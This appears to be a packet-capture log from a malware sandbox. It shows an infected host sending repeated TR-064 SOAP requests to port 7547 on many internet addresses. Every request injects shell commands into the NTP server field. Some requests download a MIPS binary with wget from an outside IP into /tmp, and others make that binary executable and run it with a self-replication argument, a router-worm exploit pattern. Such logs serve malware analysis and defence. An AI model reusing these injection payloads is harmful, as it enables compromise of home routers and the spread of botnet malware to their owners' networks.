704	192.168.2.13	59678	47.149.15.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.315896034 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
705	192.168.2.13	59702	47.149.15.5	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.470484972 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
706	192.168.2.13	43094	2.91.191.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.538435936 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.464437962 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:12.800435066 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.408409119 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:26.624398947 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:46.336369991 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
707	192.168.2.13	59594	67.1.126.103	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.658037901 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:08.850836039 CEST	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Mon 15 Apr 2024 06:53:08 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
708	192.168.2.13	60980	99.250.42.94	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.697244883 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
709	192.168.2.13	44786	216.212.46.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.710913897 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:08.954291105 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="4eba6a6f96b38547146a57d1edfc1fe200047f6f",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	45546	115.0.63.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.836908102 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.216465950 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.144417048 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:11.968450069 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	38746	175.230.240.40	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.838936090 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	59606	67.1.126.103	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.852893114 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.050685883 CEST	132	IN	HTTP/1.1 400 Bad Request Connection: close Date: Mon 15 Apr 2024 06:53:08 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	43128	2.91.191.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.908191919 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.784421921 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.056457996 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.664413929 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:26.624401093 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:46.336380959 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	60990	99.250.42.94	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.939986944 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	44800	216.212.46.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:08.954411030 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.195843935 CEST	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="7e9cad6736f1c9c8e4573dcbfa6fd9bb00047f70",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	45558	115.0.63.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:09.130543947 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.512433052 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	38762	175.230.240.40	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:09.136449099 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.058691978 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	58054	138.137.77.164	52869

Timestamp	Bytes transferred	Direction	Data
